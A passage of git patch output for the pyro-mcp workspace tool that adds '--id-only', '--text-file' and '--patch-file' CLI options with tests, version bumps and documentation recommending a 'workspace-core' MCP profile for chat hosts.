shell glue from canonical CLI workspace flows with `--id-only`, + `--text-file`, and `--patch-file`, so the shortest handoff path no longer depends on `python -c` + extraction or `$(cat ...)` expansion. Planned next: -- `3.7.0` removes the remaining shell glue from canonical CLI flows with shortcut flags for - identifier handoff and file-backed text inputs. - `3.8.0` makes the recommended chat-host entrypoint obvious from the top-level docs, help text, and shipped MCP examples without changing the `3.x` compatibility default. - `3.9.0` makes human-mode file reads cleaner in terminals and chat logs, with explicit diff --git a/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md b/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md index 5e6896f..09812d5 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md +++ b/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md @@ -1,6 +1,6 @@ # `3.7.0` Handoff Shortcuts And File Input Sources -Status: Planned +Status: Done ## Goal diff --git a/pyproject.toml b/pyproject.toml index 235df24..5bf246b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.6.0" +version = "3.7.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 74dd57c..3490088 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -6,6 +6,7 @@ import argparse import json import shlex import sys +from pathlib import Path from textwrap import dedent from typing import Any @@ -33,6 +34,10 @@ def _print_json(payload: dict[str, Any]) -> None: print(json.dumps(payload, indent=2, sort_keys=True)) +def _print_id_only(value: object) -> None: + print(str(value), flush=True) + + def _write_stream(text: str, *, stream: Any) -> None: if text == "": return @@ -632,13 +637,13 @@ def _build_parser() -> argparse.ArgumentParser: pyro run debian:12 -- git --version Continue into the stable workspace path after that: - pyro workspace create debian:12 --seed-path ./repo + pyro workspace create debian:12 --seed-path ./repo --id-only pyro workspace sync push WORKSPACE_ID ./changes pyro workspace exec WORKSPACE_ID -- cat note.txt pyro workspace diff WORKSPACE_ID pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint - pyro workspace shell open WORKSPACE_ID + pyro workspace shell open WORKSPACE_ID --id-only pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' pyro workspace export WORKSPACE_ID note.txt --output ./note.txt @@ -867,13 +872,13 @@ def _build_parser() -> argparse.ArgumentParser: epilog=dedent( """ Examples: - pyro workspace create debian:12 --seed-path ./repo + pyro workspace create debian:12 --seed-path ./repo --id-only pyro workspace create debian:12 --name repro-fix --label issue=123 pyro workspace list pyro workspace update WORKSPACE_ID --name retry-run --label owner=codex pyro workspace sync push WORKSPACE_ID ./repo --dest src pyro workspace file read WORKSPACE_ID src/app.py - pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" + pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' pyro workspace stop WORKSPACE_ID pyro workspace disk list WORKSPACE_ID @@ -883,7 +888,7 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace diff WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt - pyro workspace shell open WORKSPACE_ID + pyro workspace shell open WORKSPACE_ID --id-only pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' pyro workspace logs WORKSPACE_ID @@ -909,8 +914,8 @@ def _build_parser() -> argparse.ArgumentParser: epilog=dedent( """ Examples: - pyro workspace create debian:12 - pyro workspace create debian:12 --seed-path ./repo + pyro workspace create debian:12 --id-only + pyro workspace create debian:12 --seed-path ./repo --id-only pyro workspace create debian:12 --name repro-fix --label issue=123 pyro workspace create debian:12 --network-policy egress pyro workspace create debian:12 --secret API_TOKEN=expected @@ -995,11 +1000,17 @@ def _build_parser() -> argparse.ArgumentParser: metavar="NAME=PATH", help="Persist one UTF-8 secret copied from a host file at create time.", ) - workspace_create_parser.add_argument( + workspace_create_output_group = workspace_create_parser.add_mutually_exclusive_group() + workspace_create_output_group.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_create_output_group.add_argument( + "--id-only", + action="store_true", + help="Print only the new workspace identifier.", + ) workspace_exec_parser = workspace_subparsers.add_parser( "exec", help="Run one command inside an existing workspace.", @@ -1163,7 +1174,7 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace file list WORKSPACE_ID pyro workspace file read WORKSPACE_ID src/app.py - pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' + pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py """ ), formatter_class=_HelpFormatter, @@ -1230,17 +1241,24 @@ def _build_parser() -> argparse.ArgumentParser: ), epilog=( "Example:\n" - " pyro workspace file write WORKSPACE_ID src/app.py --text 'print(\"hi\")'" + " pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py" ), formatter_class=_HelpFormatter, ) workspace_file_write_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") workspace_file_write_parser.add_argument("path", metavar="PATH") - workspace_file_write_parser.add_argument( + workspace_file_write_input_group = workspace_file_write_parser.add_mutually_exclusive_group( + required=True + ) + workspace_file_write_input_group.add_argument( "--text", - required=True, help="UTF-8 text content to write into the target file.", ) + workspace_file_write_input_group.add_argument( + "--text-file", + metavar="PATH", + help="Read UTF-8 text content from a host file.", + ) workspace_file_write_parser.add_argument( "--json", action="store_true", @@ -1256,7 +1274,7 @@ def _build_parser() -> argparse.ArgumentParser: epilog=dedent( """ Example: - pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" + pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch Patch application is preflighted but not fully transactional. If an apply fails partway through, prefer `pyro workspace reset WORKSPACE_ID`. @@ -1276,15 +1294,22 @@ def _build_parser() -> argparse.ArgumentParser: "Apply one unified text patch for add, modify, and delete operations under " "`/workspace`." ), - epilog="Example:\n pyro workspace patch apply WORKSPACE_ID --patch \"$(cat fix.patch)\"", + epilog="Example:\n pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch", formatter_class=_HelpFormatter, ) workspace_patch_apply_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_patch_apply_parser.add_argument( + workspace_patch_input_group = workspace_patch_apply_parser.add_mutually_exclusive_group( + required=True + ) + workspace_patch_input_group.add_argument( "--patch", - required=True, help="Unified text patch to apply under `/workspace`.", ) + workspace_patch_input_group.add_argument( + "--patch-file", + metavar="PATH", + help="Read a unified text patch from a UTF-8 host file.", + ) workspace_patch_apply_parser.add_argument( "--json", action="store_true", @@ -1529,7 +1554,7 @@ def _build_parser() -> argparse.ArgumentParser: epilog=dedent( """ Examples: - pyro workspace shell open WORKSPACE_ID + pyro workspace shell open WORKSPACE_ID --id-only pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT @@ -1550,7 +1575,7 @@ def _build_parser() -> argparse.ArgumentParser: "open", help="Open a persistent interactive shell.", description="Open a new PTY shell inside a started workspace.", - epilog="Example:\n pyro workspace shell open WORKSPACE_ID --cwd src", + epilog="Example:\n pyro workspace shell open WORKSPACE_ID --cwd src --id-only", formatter_class=_HelpFormatter, ) workspace_shell_open_parser.add_argument( @@ -1582,11 +1607,17 @@ def _build_parser() -> argparse.ArgumentParser: metavar="SECRET[=ENV_VAR]", help="Expose one persisted workspace secret as an environment variable in the shell.", ) - workspace_shell_open_parser.add_argument( + workspace_shell_open_output_group = workspace_shell_open_parser.add_mutually_exclusive_group() + workspace_shell_open_output_group.add_argument( "--json", action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_shell_open_output_group.add_argument( + "--id-only", + action="store_true", + help="Print only the new shell identifier.", + ) workspace_shell_read_parser = workspace_shell_subparsers.add_parser( "read", help="Read merged PTY output from a shell.", @@ -2092,6 +2123,20 @@ def _require_command(command_args: list[str]) -> str: return shlex.join(command_args) +def _read_utf8_text_file(path_value: str, *, option_name: str) -> str: + if path_value.strip() == "": + raise ValueError(f"{option_name} must not be empty") + candidate = Path(path_value).expanduser() + if not candidate.exists(): + raise ValueError(f"{option_name} file not found: {candidate}") + if candidate.is_dir(): + raise ValueError(f"{option_name} must point to a file, not a directory: {candidate}") + try: + return candidate.read_text(encoding="utf-8") + except UnicodeDecodeError as exc: + raise ValueError(f"{option_name} must contain UTF-8 text: {candidate}") from exc + + def _parse_workspace_secret_option(value: str) -> dict[str, str]: name, sep, secret_value = value.partition("=") if sep == "" or name.strip() == "" or secret_value == "": @@ -2285,7 +2330,9 @@ def main() -> None: name=args.name, labels=labels or None, ) - if bool(args.json): + if bool(getattr(args, "id_only", False)): + _print_id_only(payload["workspace_id"]) + elif bool(args.json): _print_json(payload) else: _print_workspace_summary_human(payload, action="Workspace") @@ -2454,11 +2501,16 @@ def main() -> None: _print_workspace_file_read_human(payload) return if args.workspace_file_command == "write": + text = ( + args.text + if getattr(args, "text", None) is not None + else _read_utf8_text_file(args.text_file, option_name="--text-file") + ) try: payload = pyro.write_workspace_file( args.workspace_id, args.path, - text=args.text, + text=text, ) except Exception as exc: # noqa: BLE001 if bool(args.json): @@ -2472,10 +2524,15 @@ def main() -> None: _print_workspace_file_write_human(payload) return if args.workspace_command == "patch" and args.workspace_patch_command == "apply": + patch_text = ( + args.patch + if getattr(args, "patch", None) is not None + else _read_utf8_text_file(args.patch_file, option_name="--patch-file") + ) try: payload = pyro.apply_workspace_patch( args.workspace_id, - patch=args.patch, + patch=patch_text, ) except Exception as exc: # noqa: BLE001 if bool(args.json): @@ -2653,7 +2710,9 @@ def main() -> None: else: print(f"[error] {exc}", file=sys.stderr, flush=True) raise SystemExit(1) from exc - if bool(args.json): + if bool(getattr(args, "id_only", False)): + _print_id_only(payload["shell_id"]) + elif bool(args.json): _print_json(payload) else: _print_workspace_shell_summary_human(payload, prefix="workspace-shell-open") diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 8a85fa2..c344cbd 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -47,6 +47,7 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--secret", "--secret-file", "--json", + "--id-only", ) PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json") PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json") @@ -56,9 +57,9 @@ PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json") PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--json") -PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--json") +PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--text-file", "--json") PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--json") +PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--patch-file", "--json") PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json") PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json") @@ -82,6 +83,7 @@ PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ( "--rows", "--secret-env", "--json", + "--id-only", ) PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ( "--cursor", diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 1616b6b..64278de 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.6.0" +DEFAULT_CATALOG_VERSION = "3.7.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/workspace_use_case_smokes.py b/src/pyro_mcp/workspace_use_case_smokes.py index 8513dce..5536f37 100644 --- a/src/pyro_mcp/workspace_use_case_smokes.py +++ b/src/pyro_mcp/workspace_use_case_smokes.py @@ -3,6 +3,8 @@ from __future__ import annotations import argparse +import subprocess +import sys import tempfile import time from dataclasses import dataclass @@ -107,6 +109,17 @@ def _log(message: str) -> None: print(f"[smoke] {message}", flush=True) +def _run_pyro_cli(*args: str, cwd: Path) -> str: + completed = subprocess.run( + [sys.executable, "-m", "pyro_mcp.cli", *args], + cwd=str(cwd), + check=True, + capture_output=True, + text=True, + ) + return completed.stdout + + def _create_workspace( pyro: Pyro, *, @@ -198,6 +211,7 @@ def _scenario_cold_start_validation(pyro: Pyro, *, root: Path, environment: str) def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> None: seed_dir = root / "seed" export_dir = root / "export" + patch_path = root / "fix.patch" _write_text(seed_dir / "message.txt", "broken\n") _write_text( seed_dir / "check.sh", @@ -210,6 +224,14 @@ def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> Non "}\n" "printf '%s\\n' \"$value\"\n", ) + _write_text( + patch_path, + "--- a/message.txt\n" + "+++ b/message.txt\n" + "@@ -1 +1 @@\n" + "-broken\n" + "+fixed\n", + ) workspace_id: str | None = None try: workspace_id = _create_workspace( @@ -224,17 +246,16 @@ def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> Non assert str(initial_read["content"]) == "broken\n", initial_read failing = pyro.exec_workspace(workspace_id, command="sh check.sh") assert int(failing["exit_code"]) != 0, failing - patch = pyro.apply_workspace_patch( + patch_output = _run_pyro_cli( + "workspace", + "patch", + "apply", workspace_id, - patch=( - "--- a/message.txt\n" - "+++ b/message.txt\n" - "@@ -1 +1 @@\n" - "-broken\n" - "+fixed\n" - ), + "--patch-file", + str(patch_path), + cwd=root, ) - assert bool(patch["changed"]) is True, patch + assert "[workspace-patch] workspace_id=" in patch_output, patch_output passing = pyro.exec_workspace(workspace_id, command="sh check.sh") assert int(passing["exit_code"]) == 0, passing assert str(passing["stdout"]) == "fixed\n", passing diff --git a/tests/test_cli.py b/tests/test_cli.py index 0b8ebb5..e14c5ca 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -72,6 +72,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: workspace_help = _subparser_choice(parser, "workspace").format_help() assert "stable workspace contract" in workspace_help assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help + assert "--id-only" in workspace_help assert "pyro workspace create debian:12 --name repro-fix --label issue=123" in workspace_help assert "pyro workspace list" in workspace_help assert ( @@ -88,12 +89,13 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "pyro workspace start WORKSPACE_ID" in workspace_help assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_help assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in workspace_help - assert "pyro workspace shell open WORKSPACE_ID" in workspace_help + assert "pyro workspace shell open WORKSPACE_ID --id-only" in workspace_help workspace_create_help = _subparser_choice( _subparser_choice(parser, "workspace"), "create", ).format_help() + assert "--id-only" in workspace_create_help assert "--name" in workspace_create_help assert "--label" in workspace_create_help assert "--seed-path" in workspace_create_help @@ -161,6 +163,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" ).format_help() assert "--text" in workspace_file_write_help + assert "--text-file" in workspace_file_write_help workspace_patch_help = _subparser_choice( _subparser_choice(parser, "workspace"), "patch" @@ -171,6 +174,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: _subparser_choice(_subparser_choice(parser, "workspace"), "patch"), "apply" ).format_help() assert "--patch" in workspace_patch_apply_help + assert "--patch-file" in workspace_patch_apply_help workspace_stop_help = _subparser_choice( _subparser_choice(parser, "workspace"), "stop" @@ -241,7 +245,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: _subparser_choice(parser, "workspace"), "shell", ).format_help() - assert "pyro workspace shell open WORKSPACE_ID" in workspace_shell_help + assert "pyro workspace shell open WORKSPACE_ID --id-only" in workspace_shell_help assert "Use `workspace exec` for one-shot commands." in workspace_shell_help workspace_service_help = _subparser_choice( @@ -269,6 +273,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: workspace_shell_open_help = _subparser_choice( _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" ).format_help() + assert "--id-only" in workspace_shell_open_help assert "--cwd" in workspace_shell_open_help assert "--cols" in workspace_shell_open_help assert "--rows" in workspace_shell_open_help @@ -563,6 +568,75 @@ def test_cli_requires_command_preserves_shell_argument_boundaries() -> None: assert command == 'sh -lc \'printf "hello from workspace\\n" > note.txt\'' +def test_cli_read_utf8_text_file_rejects_non_utf8(tmp_path: Path) -> None: + source_path = tmp_path / "bad.txt" + source_path.write_bytes(b"\xff\xfe") + + with pytest.raises(ValueError, match="must contain UTF-8 text"): + cli._read_utf8_text_file(str(source_path), option_name="--text-file") + + +def test_cli_read_utf8_text_file_rejects_empty_path() -> None: + with pytest.raises(ValueError, match="must not be empty"): + cli._read_utf8_text_file("", option_name="--patch-file") + + +def test_cli_shortcut_flags_are_mutually_exclusive() -> None: + parser = cli._build_parser() + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "create", + "debian:12", + "--json", + "--id-only", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "shell", + "open", + "workspace-123", + "--json", + "--id-only", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "file", + "write", + "workspace-123", + "src/app.py", + "--text", + "hello", + "--text-file", + "./app.py", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "patch", + "apply", + "workspace-123", + "--patch", + "--- a/app.py\n+++ b/app.py\n", + "--patch-file", + "./fix.patch", + ] + ) + + def test_cli_workspace_create_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: @@ -601,6 +675,42 @@ def test_cli_workspace_create_prints_json( assert output["workspace_id"] == "workspace-123" +def test_cli_workspace_create_prints_id_only( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["environment"] == "debian:12" + return {"workspace_id": "workspace-123", "state": "started"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network_policy="off", + allow_host_compat=False, + seed_path=None, + name=None, + label=[], + secret=[], + secret_file=[], + json=False, + id_only=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "workspace-123\n" + assert captured.err == "" + + def test_cli_workspace_create_prints_human( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: @@ -1126,6 +1236,105 @@ def test_cli_workspace_file_commands_print_human_and_json( assert "[workspace-patch] workspace_id=workspace-123 total=1" in patch_output +def test_cli_workspace_file_write_reads_text_file( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + tmp_path: Path, +) -> None: + source_path = tmp_path / "app.py" + source_path.write_text("print('from file')\n", encoding="utf-8") + + class StubPyro: + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "src/app.py" + assert text == "print('from file')\n" + return { + "workspace_id": workspace_id, + "path": "/workspace/src/app.py", + "size_bytes": len(text.encode("utf-8")), + "bytes_written": len(text.encode("utf-8")), + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="write", + workspace_id="workspace-123", + path="src/app.py", + text=None, + text_file=str(source_path), + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-file-write] workspace_id=workspace-123" in output + + +def test_cli_workspace_patch_apply_reads_patch_file( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + tmp_path: Path, +) -> None: + patch_path = tmp_path / "fix.patch" + patch_text = ( + "--- a/src/app.py\n" + "+++ b/src/app.py\n" + "@@ -1 +1 @@\n" + "-print('hi')\n" + "+print('hello')\n" + ) + patch_path.write_text(patch_text, encoding="utf-8") + + class StubPyro: + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert patch == patch_text + return { + "workspace_id": workspace_id, + "changed": True, + "summary": {"total": 1, "added": 0, "modified": 1, "deleted": 0}, + "entries": [{"path": "/workspace/src/app.py", "status": "modified"}], + "patch": patch, + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="patch", + workspace_patch_command="apply", + workspace_id="workspace-123", + patch=None, + patch_file=str(patch_path), + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-patch] workspace_id=workspace-123 total=1" in output + + def test_cli_workspace_stop_and_start_print_human_output( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], @@ -2333,6 +2542,61 @@ def test_cli_workspace_shell_open_and_read_human( assert "wait_for_idle_ms=300" in captured.err +def test_cli_workspace_shell_open_prints_id_only( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell( + self, + workspace_id: str, + *, + cwd: str, + cols: int, + rows: int, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert cwd == "/workspace" + assert cols == 120 + assert rows == 30 + assert secret_env is None + return { + "workspace_id": workspace_id, + "shell_id": "shell-123", + "state": "running", + "cwd": cwd, + "cols": cols, + "rows": rows, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="workspace-123", + cwd="/workspace", + cols=120, + rows=30, + secret_env=[], + json=False, + id_only=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "shell-123\n" + assert captured.err == "" + + def test_cli_workspace_shell_write_signal_close_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], diff --git a/tests/test_workspace_use_case_smokes.py b/tests/test_workspace_use_case_smokes.py index 5cd648c..9e0c178 100644 --- a/tests/test_workspace_use_case_smokes.py +++ b/tests/test_workspace_use_case_smokes.py @@ -478,6 +478,18 @@ def test_run_all_use_case_scenarios_with_fake_pyro( fake_pyro = _FakePyro(tmp_path / "fake-pyro") monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + monkeypatch.setattr( + smoke_module, + "_run_pyro_cli", + lambda *args, cwd: ( + fake_pyro.write_workspace_file( + args[3], + "message.txt", + text="fixed\n", + ), + f"[workspace-patch] workspace_id={args[3]} total=1\n", + )[1], + ) smoke_module.run_workspace_use_case_scenario("all") @@ -493,6 +505,18 @@ def test_main_runs_selected_scenario(monkeypatch: pytest.MonkeyPatch, tmp_path: fake_pyro = _FakePyro(tmp_path / "fake-pyro-main") monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + monkeypatch.setattr( + smoke_module, + "_run_pyro_cli", + lambda *args, cwd: ( + fake_pyro.write_workspace_file( + args[3], + "message.txt", + text="fixed\n", + ), + f"[workspace-patch] workspace_id={args[3]} total=1\n", + )[1], + ) monkeypatch.setattr( "sys.argv", [ diff --git a/uv.lock b/uv.lock index 4bcd624..a14789a 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.6.0" +version = "3.7.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 407c805ce2ddf1465489a577b123d235ac03ac1a Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 11:23:51 -0300 Subject: [PATCH 33/49] Clarify workspace-core as the chat-host onramp Make the recommended MCP profile visible from the first help and docs pass without changing 3.x behavior. Rework help, top-level docs, public-contract wording, and shipped MCP/OpenAI examples so is the recommended first profile while stays the compatibility default for full-surface hosts. Bump the package and catalog to 3.8.0, mark the roadmap milestone done, and add regression coverage for the new MCP help and docs alignment. Validation included uv lock, targeted profile/help tests, make check, make dist-check, and a real guest-backed server smoke. --- CHANGELOG.md | 12 +++++ README.md | 47 +++++++++++++++---- docs/first-run.md | 8 +++- docs/install.md | 18 ++++++- docs/integrations.md | 11 +++-- docs/public-contract.md | 6 ++- docs/roadmap/llm-chat-ergonomics.md | 16 +++---- ...at-host-onramp-and-recommended-defaults.md | 2 +- examples/mcp_client_config.md | 6 ++- examples/openai_responses_workspace_core.py | 7 +-- pyproject.toml | 2 +- src/pyro_mcp/api.py | 5 ++ src/pyro_mcp/cli.py | 27 +++++++---- src/pyro_mcp/server.py | 6 ++- src/pyro_mcp/vm_environments.py | 2 +- tests/test_cli.py | 23 ++++++++- uv.lock | 2 +- 17 files changed, 150 insertions(+), 50 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 02e1f4b..90edb28 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,18 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.8.0 + +- Repositioned the MCP/chat-host onramp so `workspace-core` is clearly the + recommended first profile across `pyro mcp serve --help`, the README, install + docs, first-run docs, and shipped MCP config examples. +- Kept `workspace-full` as the default for `3.x` compatibility, but rewrote the + public guidance to frame it as the advanced/compatibility surface instead of + the default recommendation. +- Promoted the `workspace-core` OpenAI example and added a minimal chat-host + quickstart near the top-level product docs so new integrators no longer need + to read deep integration docs before choosing the right profile. + ## 3.7.0 - Added CLI handoff shortcuts with `pyro workspace create --id-only` and diff --git a/README.md b/README.md index d94bbb7..e22dc66 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.7.0: [CHANGELOG.md#370](CHANGELOG.md#370) +- What's new in 3.8.0: [CHANGELOG.md#380](CHANGELOG.md#380) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -60,7 +60,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.7.0 +Catalog version: 3.8.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -125,6 +125,7 @@ That stable workspace path gives you: After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` +- start most chat hosts with `uvx --from pyro-mcp pyro mcp serve --profile workspace-core` - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` - add a human-friendly workspace name with `uvx --from pyro-mcp pyro workspace create debian:12 --name repro-fix --label issue=123` - rediscover or retag workspaces with `uvx --from pyro-mcp pyro workspace list` and `uvx --from pyro-mcp pyro workspace update WORKSPACE_ID --label owner=codex` @@ -144,6 +145,35 @@ After the quickstart works: - inspect or export one stopped guest rootfs with `uvx --from pyro-mcp pyro workspace disk list WORKSPACE_ID`, `uvx --from pyro-mcp pyro workspace disk read WORKSPACE_ID note.txt`, and `uvx --from pyro-mcp pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) +## Chat Host Quickstart + +For most MCP chat hosts, start with `workspace-core`. It exposes the practical +persistent editing loop without shells, services, snapshots, secrets, network +policy, or disk tools. + +```bash +uvx --from pyro-mcp pyro mcp serve --profile workspace-core +``` + +Minimal MCP config: + +```json +{ + "mcpServers": { + "pyro": { + "command": "uvx", + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + } + } +} +``` + +Profile progression: + +- 